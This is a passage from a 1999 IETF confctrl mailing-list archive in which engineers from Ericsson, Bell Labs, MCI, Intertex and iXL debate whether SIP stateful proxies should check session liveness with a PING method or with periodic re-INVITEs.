	for <confctrl@ISI.EDU>; Thu, 28 Jan 1999 16:38:23 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id SAA00841;
	Thu, 28 Jan 1999 18:39:33 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id SAA19412;
	Thu, 28 Jan 1999 18:37:47 -0600 (CST)
Received: from b04a42.exu.ericsson.se (b04a42 [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id SAA10282; Thu, 28 Jan 1999 18:37:45 -0600 (CST)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (eussean@localhost) by b04a42.exu.ericsson.se (8.8.2/8.6.12) id SAA25163; Thu, 28 Jan 1999 18:37:16 -0600 (CST)
Date: Thu, 28 Jan 1999 18:37:16 -0600 (CST)
Message-Id: <199901290037.SAA25163@b04a42.exu.ericsson.se>
To: jdrosen@dnrc.bell-labs.com, Adam.Roach@ericsson.com,
        Steven.R.Donovan@mci.com
Subject: RE: Proxy Server Inconsistencies
Cc: hgs@cs.columbia.edu, Dean.Willis@mci.com, confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Well, at least we are down from three to two options.
> 
> One point on the re-Invite method is that clients would be required to also
> refresh the session timer, even if there was no stateful proxy involved in
> the session signaling.  The PING method would only be used when a stateful
> proxy was involved.
> 
If there is no stateful proxy involved, then there is no one to insert
a "Keep-alive:" header and the client need not keep a session timer but may
instead rely on the media stream for liveness tests. 

> One method to avoid the malicious proxy is to allow the Pinging proxy to
> PING in both directions.  It is unlikely that a malicious proxy would exist
> in both directions.
> 
A pinging proxy MUST ping in both directions to determine that a both halves
of the call are up.

> Any suggestions on how we should pursue selecting one option over the other?
> 
> Steve
>

Both options require approximately the same complexity. The PING method
has the advantage of potentially making things easier for the client
since the client would only need to respond to PING requests and would not
need to maintain an internal session timer ( though there are good reasons
for doing so anyway ).

Sean 

From confctrl-owner  Thu Jan 28 17:34:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA26955
	for confctrl-outgoing; Thu, 28 Jan 1999 17:34:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA26950
	for <confctrl@zephyr.isi.edu>; Thu, 28 Jan 1999 17:34:06 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA23076
	for <confctrl@isi.edu>; Thu, 28 Jan 1999 17:34:04 -0800 (PST)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Thu Jan 28 20:33:16 EST 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.216])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA04919;
	Thu, 28 Jan 1999 20:33:12 -0500 (EST)
Message-ID: <36B10FA8.69888EAA@dnrc.bell-labs.com>
Date: Thu, 28 Jan 1999 20:32:24 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: Adam.Roach@ericsson.com, Steven.R.Donovan@mci.com, hgs@cs.columbia.edu,
        Dean.Willis@mci.com, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901290037.SAA25163@b04a42.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> >
> > Well, at least we are down from three to two options.
> >
> > One point on the re-Invite method is that clients would be required to also
> > refresh the session timer, even if there was no stateful proxy involved in
> > the session signaling.  The PING method would only be used when a stateful
> > proxy was involved.
> >
> If there is no stateful proxy involved, then there is no one to insert
> a "Keep-alive:" header and the client need not keep a session timer but may
> instead rely on the media stream for liveness tests.

Although its possible that the UAS could insert this header. 


> > Any suggestions on how we should pursue selecting one option over the other?
> >

Discussion on the lists and Internet drafts, same as anything else.


> Both options require approximately the same complexity. The PING method
> has the advantage of potentially making things easier for the client
> since the client would only need to respond to PING requests and would not
> need to maintain an internal session timer ( though there are good reasons
> for doing so anyway ).

I'm not sure about the complexity issue. I think using PING with caching
(other proxies cache the keepalive state and respond with it instead of
forwarding the PING) will probably in the end be more complex. We'll
have to deal with cache consistency and invalidation issues. I think
these will be quite hard in the end - consider the following:

UAC-P1-P2-P3-UAS

Now, lets say each of P1,P2,P3 is stateful, and would like to do a PING
every minute. Lets consider PINGing of the UAC only. P1 PINGS the UAC,
and finds its alive. 59 seconds later, P2 PINGS. P1 receives this, and
responds that the UAC is alive. Then, 59 seconds later, P3 PINGS. P2
responds that the UAC is alive (since it was according to its own PING
less than one minute ago). Now, P3 has state information that is more
than three times more stale than it should. To fix this, we'll need to
have some kind of expiration in the PING responses which indicate the
validity of the response. I think this too will introduce all kinds of
interesting synchronization and invalidation issues.


So, I'm not convinced the PING is really simpler. The re-INVITE
keepalive seems the most straightforward, and the most consistent with
the rest of SIP.

-Jonathan R.



-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jan 29 00:48:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA12594
	for confctrl-outgoing; Fri, 29 Jan 1999 00:48:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA12589
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jan 1999 00:48:42 -0800 (PST)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA13654
	for <confctrl@ISI.EDU>; Fri, 29 Jan 1999 00:48:40 -0800 (PST)
Received: (qmail 18144 invoked from network); 29 Jan 1999 09:48:38 +0100
Received: from sdu125-241.ppp.algonet.se (HELO pyramid) (195.163.241.125)
  by hromeo.algonet.se with SMTP; 29 Jan 1999 09:48:38 +0100
Received: from 192.168.0.42 by pyramid ([192.168.0.100] running VPOP3) with SMTP for <confctrl@ISI.EDU>; Fri, 29 Jan 1999 09:42:34 +0100
Message-ID: <36B17783.506B2B7B@intertex.se>
Date: Fri, 29 Jan 1999 09:55:31 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i586)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0a - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Sean Olson wrote:
> >
...
> > Both options require approximately the same complexity. The PING method
> > has the advantage of potentially making things easier for the client
> > since the client would only need to respond to PING requests and would not
> > need to maintain an internal session timer ( though there are good reasons
> > for doing so anyway ).
> 
> I'm not sure about the complexity issue. I think using PING with caching
> (other proxies cache the keepalive state and respond with it instead of
> forwarding the PING) will probably in the end be more complex. We'll
> have to deal with cache consistency and invalidation issues. I think
> these will be quite hard in the end - consider the following:
> 

If the question is where to put the complexity, I'd vote for putting it
in the client/user agent. The reason for this is that a proxy probably
will handle more calls per second than the client, and thus has pretty
much to do anyway. Also, a proxy that keeps state for the duration of a
session rather than a SIP transaction is probably the most resource
demanding implementation of SIP, hence we should try to remove instead
of add burdon into it.

I think, for example, an ISP that has a SIP billing proxy server can
have _many_  customers in calls simultaneously. This will require a call
record for each on-going call, which then requires liveness test, say
once a minute. With the PING approach and 6000 on-going calls, the proxy
has to initiate a PING transaction 100 times per second, besides the
normal proxy tasks.

The less complex the proxy is, the larger number of sessions can be
handled.

/Lars

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414
-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri Jan 29 06:26:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA23495
	for confctrl-outgoing; Fri, 29 Jan 1999 06:26:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23490
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jan 1999 06:26:05 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA27817
	for <confctrl@ISI.EDU>; Fri, 29 Jan 1999 06:26:04 -0800 (PST)
Received: from omzexch006.mcit.com (omzexch006.mcit.com [166.37.194.37])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id NAA17191; Fri, 29 Jan 1999 13:24:21 GMT
Received: by omzexch006.mcit.com with Internet Mail Service (5.5.2232.9)
	id <DX3HHS4J>; Fri, 29 Jan 1999 14:24:55 -0000
Message-ID: <CA6966C24AC6D111B5A100805FEAB7D85773CD@nsrip00208.mcit.com>
From: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
To: "'Sean Olson'" <eussean@exu.ericsson.se>, jdrosen@dnrc.bell-labs.com,
        Adam.Roach@ericsson.com
Cc: hgs@cs.columbia.edu, "Willis, Dean." <Dean.Willis@mci.com>,
        confctrl@ISI.EDU
Subject: RE: Proxy Server Inconsistencies
Date: Fri, 29 Jan 1999 14:24:51 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2232.9)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01BE4B93.22B4C7C2"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BE4B93.22B4C7C2
Content-Type: text/plain


Sean Olson wrote:
> > 
> > Well, at least we are down from three to two options.
> > 
> > One point on the re-Invite method is that clients would be required to
> also
> > refresh the session timer, even if there was no stateful proxy involved
> in
> > the session signaling.  The PING method would only be used when a
> stateful
> > proxy was involved.
> > 
> If there is no stateful proxy involved, then there is no one to insert
> a "Keep-alive:" header and the client need not keep a session timer but
> may
> instead rely on the media stream for liveness tests. 
> 
	It has been my assumption that the client (UAC) would be responsible
for inserting a session-expires header in the original and subsequent
INVITES.

> > One method to avoid the malicious proxy is to allow the Pinging proxy to
> > PING in both directions.  It is unlikely that a malicious proxy would
> exist
> > in both directions.
> > 
> A pinging proxy MUST ping in both directions to determine that a both
> halves
> of the call are up.
> 
> > Any suggestions on how we should pursue selecting one option over the
> other?
> > 
> > Steve
> >
> 
> Both options require approximately the same complexity. The PING method
> has the advantage of potentially making things easier for the client
> since the client would only need to respond to PING requests and would not
> need to maintain an internal session timer ( though there are good reasons
> for doing so anyway ).
> 
> Sean 

------_=_NextPart_001_01BE4B93.22B4C7C2
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dus-ascii">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2232.0">
<TITLE>RE: Proxy Server Inconsistencies</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Sean Olson =
wrote:</FONT>
<UL>
<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Well, at =
least we are down from three to two options.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; One =
point on the re-Invite method is that clients would be required to =
also</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; refresh =
the session timer, even if there was no stateful proxy involved =
in</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; the =
session signaling.&nbsp; The PING method would only be used when a =
stateful</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; proxy =
was involved.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">If there is =
no stateful proxy involved, then there is no one to insert</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">a =
&quot;Keep-alive:&quot; header and the client need not keep a session =
timer but may</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">instead rely =
on the media stream for liveness tests.</FONT>=20
</P>

<P><FONT COLOR=3D"#0000FF" SIZE=3D2 FACE=3D"Fixedsys">It has been my =
assumption that the client (UAC) would be responsible for inserting a =
session-expires header in the original and subsequent =
INVITES.</FONT></P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; One =
method to avoid the malicious proxy is to allow the Pinging proxy =
to</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; PING in =
both directions.&nbsp; It is unlikely that a malicious proxy would =
exist</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; in both =
directions.</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">A pinging =
proxy MUST ping in both directions to determine that a both =
halves</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">of the call =
are up.</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; Any =
suggestions on how we should pursue selecting one option over the =
other?</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; </FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt; =
Steve</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">&gt;</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Both options =
require approximately the same complexity. The PING method</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">has the =
advantage of potentially making things easier for the client</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">since the =
client would only need to respond to PING requests and would not</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">need to =
maintain an internal session timer ( though there are good =
reasons</FONT>
<BR><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">for doing so =
anyway ).</FONT>
</P>

<P><FONT COLOR=3D"#000000" SIZE=3D2 FACE=3D"Courier New">Sean </FONT>
</P>
</UL>
</BODY>
</HTML>
------_=_NextPart_001_01BE4B93.22B4C7C2--

From confctrl-owner  Fri Jan 29 07:16:24 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25875
	for confctrl-outgoing; Fri, 29 Jan 1999 07:16:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25870
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jan 1999 07:16:22 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA29931
	for <confctrl@isi.edu>; Fri, 29 Jan 1999 07:16:19 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Jan 29 10:15:43 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id KAA01171;
	Fri, 29 Jan 1999 10:15:42 -0500 (EST)
Message-ID: <36B1D006.20DB6939@dnrc.bell-labs.com>
Date: Fri, 29 Jan 1999 10:13:10 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Donovan, Steven R. (MCI)" <Steven.R.Donovan@mci.com>
CC: "'Sean Olson'" <eussean@exu.ericsson.se>, Adam.Roach@ericsson.com,
        hgs@cs.columbia.edu, "Willis, Dean." <Dean.Willis@mci.com>,
        confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <CA6966C24AC6D111B5A100805FEAB7D85773CD@nsrip00208.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> Donovan, Steven R. (MCI) wrote:
> 
> Sean Olson wrote:
> 
>      >
>      > Well, at least we are down from three to two options.
>      >
>      > One point on the re-Invite method is that clients would be
>      required to also
>      > refresh the session timer, even if there was no stateful proxy
>      involved in
>      > the session signaling.  The PING method would only be used when
>      a stateful
>      > proxy was involved.
>      >
>      If there is no stateful proxy involved, then there is no one to
>      insert
>      a "Keep-alive:" header and the client need not keep a session
>      timer but may
>      instead rely on the media stream for liveness tests.
> 
>      It has been my assumption that the client (UAC) would be
>      responsible for inserting a session-expires header in the
>      original and subsequent INVITES.

There was mention that a proxy could also insert this header (or modify
its value), and the final result would be reflected in the response.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Jan 29 08:24:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA28998
	for confctrl-outgoing; Fri, 29 Jan 1999 08:24:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28993
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jan 1999 08:24:36 -0800 (PST)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA03635
	for <confctrl@ISI.EDU>; Fri, 29 Jan 1999 08:24:26 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwa.ericsson.com (8.8.8/8.8.8) with ESMTP id KAA02326;
	Fri, 29 Jan 1999 10:23:42 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA12281;
	Fri, 29 Jan 1999 10:23:42 -0600 (CST)
Received: from b04a42.exu.ericsson.se (b04a42 [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA26667; Fri, 29 Jan 1999 10:23:40 -0600 (CST)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (eussean@localhost) by b04a42.exu.ericsson.se (8.8.2/8.6.12) id KAA27284; Fri, 29 Jan 1999 10:23:11 -0600 (CST)
Date: Fri, 29 Jan 1999 10:23:11 -0600 (CST)
Message-Id: <199901291623.KAA27284@b04a42.exu.ericsson.se>
To: confctrl@ISI.EDU, lars.berggren@intertex.se
Subject: Re: Proxy Server Inconsistencies
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Jonathan Rosenberg wrote:
> > 
> > Sean Olson wrote:
> > >
> ...
> > > Both options require approximately the same complexity. The PING method
> > > has the advantage of potentially making things easier for the client
> > > since the client would only need to respond to PING requests and would not
> > > need to maintain an internal session timer ( though there are good reasons
> > > for doing so anyway ).
> > 
> > I'm not sure about the complexity issue. I think using PING with caching
> > (other proxies cache the keepalive state and respond with it instead of
> > forwarding the PING) will probably in the end be more complex. We'll
> > have to deal with cache consistency and invalidation issues. I think
> > these will be quite hard in the end - consider the following:
> > 
> 
> If the question is where to put the complexity, I'd vote for putting it
> in the client/user agent. The reason for this is that a proxy probably
> will handle more calls per second than the client, and thus has pretty
> much to do anyway. Also, a proxy that keeps state for the duration of a
> session rather than a SIP transaction is probably the most resource
> demanding implementation of SIP, hence we should try to remove instead
> of add burdon into it.
> 
> I think, for example, an ISP that has a SIP billing proxy server can
> have _many_  customers in calls simultaneously. This will require a call
> record for each on-going call, which then requires liveness test, say
> once a minute. With the PING approach and 6000 on-going calls, the proxy
> has to initiate a PING transaction 100 times per second, besides the
> normal proxy tasks.
> 
> The less complex the proxy is, the larger number of sessions can be
> handled.
> 
> /Lars
> 
> -- 
> Lars Berggren       <lars.berggren@intertex.se>
> Intertex Data AB    tel: +46-8-6282828
> Sundbyberg, Sweden  fax: +46-8-6286414

I agree that we should remove as much complexity from the proxy as possible.
The INVITE approach, however, requires as much complexity: timers, caching,
and validation. The primary difference I see between the two approaches is that
with the PING method, we can simplify the client. Not much we can do for
the stateful proxy. This isn't a simple problem. A greater problem with the
PING approach is that it can require double the number of messages unless
a "Frequency:" header can be associated with the PING request.

Sean

-----------------------------------------------------------------
Sean Olson                             Ericsson Inc.  
E-mail: sean.olson@ericsson.com

From confctrl-owner  Fri Jan 29 13:02:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA13279
	for confctrl-outgoing; Fri, 29 Jan 1999 13:02:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA13274
	for <confctrl@zephyr.isi.edu>; Fri, 29 Jan 1999 13:02:09 -0800 (PST)
Received: from boxtop-nt1.ixlla.com ([216.99.5.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA29904
	for <confctrl@ISI.EDU>; Fri, 29 Jan 1999 13:02:08 -0800 (PST)
Received: from 216.99.5.81 by boxtop-nt1.ixlla.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8)
	id DZRQN4Z2; Fri, 29 Jan 1999 12:59:47 -0800
X-Sender: tdorcey@exchange.lax.ixl.com
Message-Id: <v03102809b2d7c8eb7d1e@[216.99.5.81]>
In-Reply-To: <199901291623.KAA27284@b04a42.exu.ericsson.se>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 29 Jan 1999 14:07:19 -0700
To: Sean Olson <eussean@exu.ericsson.se>, confctrl@ISI.EDU
From: Tim Dorcey <tdorcey@ixl.com>
Subject: Re: Proxy Server Inconsistencies
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 9:23 AM -0700 1/29/99, Sean Olson wrote:
>
>I agree that we should remove as much complexity from the proxy as possible.
>The INVITE approach, however, requires as much complexity: timers, caching,
>and validation. The primary difference I see between the two approaches is
>that
>with the PING method, we can simplify the client. Not much we can do for

I am not familiar with all of the functions of the proxy, but I can't see
how the re-INVITE introduces additional complexity.  The proxy needs to
handle repeated INVITEs at the session initiation phase anyway.  The only
change to the existing spec is to say the state created by an INVITE has a
finite lifetime.  We are creating less state, not more.  End systems also
must already be designed to send and receive repeated INVITEs at session
initiation.  Entering the "in session" state just changes the timing of
their generation on the initiation side, and short cuts to an immediate
response on the recipient side.

My instinct says that using the same mechanism to maintain state as was
used to create it will be robust across a wide range of unforeseen
circumstances.

Tim

Tim Dorcey
iXL-Los Angeles
tdorcey@ixl.com
(310) 235-3928



From confctrl-owner  Mon Feb  1 01:31:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA18252
	for confctrl-outgoing; Mon, 1 Feb 1999 01:31:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA18246
	for <confctrl@zephyr.isi.edu>; Mon, 1 Feb 1999 01:31:51 -0800 (PST)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id BAA19990
	for <confctrl@ISI.EDU>; Mon, 1 Feb 1999 01:31:49 -0800 (PST)
Received: (qmail 24669 invoked from network); 1 Feb 1999 10:31:45 +0100
Received: from sdu39-76.ppp.algonet.se (HELO pyramid) (195.163.76.39)
  by hromeo.algonet.se with SMTP; 1 Feb 1999 10:31:45 +0100
Received: from 192.168.0.42 by pyramid ([192.168.0.100] running VPOP3) with SMTP; Mon, 1 Feb 1999 10:25:07 +0100
Message-ID: <36B5761C.1557DFF2@intertex.se>
Date: Mon, 01 Feb 1999 10:38:36 +0100
From: Lars Berggren <lars.berggren@intertex.se>
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.35 i586)
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901291623.KAA27284@b04a42.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Server: VPOP3 V1.3.0a - Registered to: Intertex Data AB
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> >
...
> >
> > If the question is where to put the complexity, I'd vote for putting it
> > in the client/user agent. The reason for this is that a proxy probably
> > will handle more calls per second than the client, and thus has pretty
> > much to do anyway. Also, a proxy that keeps state for the duration of a
> > session rather than a SIP transaction is probably the most resource
> > demanding implementation of SIP, hence we should try to remove instead
> > of add burdon into it.
> >
> > I think, for example, an ISP that has a SIP billing proxy server can
> > have _many_  customers in calls simultaneously. This will require a call
> > record for each on-going call, which then requires liveness test, say
> > once a minute. With the PING approach and 6000 on-going calls, the proxy
> > has to initiate a PING transaction 100 times per second, besides the
> > normal proxy tasks.
> >
> > The less complex the proxy is, the larger number of sessions can be
> > handled.
> >
> > /Lars
> >
> > --
> > Lars Berggren       <lars.berggren@intertex.se>
> > Intertex Data AB    tel: +46-8-6282828
> > Sundbyberg, Sweden  fax: +46-8-6286414
> 
> I agree that we should remove as much complexity from the proxy as possible.
> The INVITE approach, however, requires as much complexity: timers, caching,
> and validation. The primary difference I see between the two approaches is that
> with the PING method, we can simplify the client. Not much we can do for
> the stateful proxy. This isn't a simple problem. A greater problem with the
> PING approach is that it can require double the number of messages unless
> a "Frequency:" header can be associated with the PING request.
> 
> Sean

Well, if the complexity of the proxy is independent of the keep-alive
mechanism used, we could at least choose the one which requires the
minimum of messaging in order to reduce the load for the proxy.

I understand that it is desirable to simplify the client, however I
think reducing the load for the proxy is a greater benefit.

/Lars


> 
> -----------------------------------------------------------------
> Sean Olson                             Ericsson Inc.
> E-mail: sean.olson@ericsson.com

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Mon Feb  1 08:05:46 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA29519
	for confctrl-outgoing; Mon, 1 Feb 1999 08:05:46 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA29514
	for <confctrl@zephyr.isi.edu>; Mon, 1 Feb 1999 08:05:44 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04778
	for <confctrl@ISI.EDU>; Mon, 1 Feb 1999 08:05:43 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id KAA01844;
	Mon, 1 Feb 1999 10:07:24 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id KAA09890;
	Mon, 1 Feb 1999 10:04:59 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA12440; Mon, 1 Feb 1999 10:04:56 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id KAA15081; Mon, 1 Feb 1999 10:06:14 -0600 (CST)
Message-Id: <199902011606.KAA15081@b04a24.exu.ericsson.se>
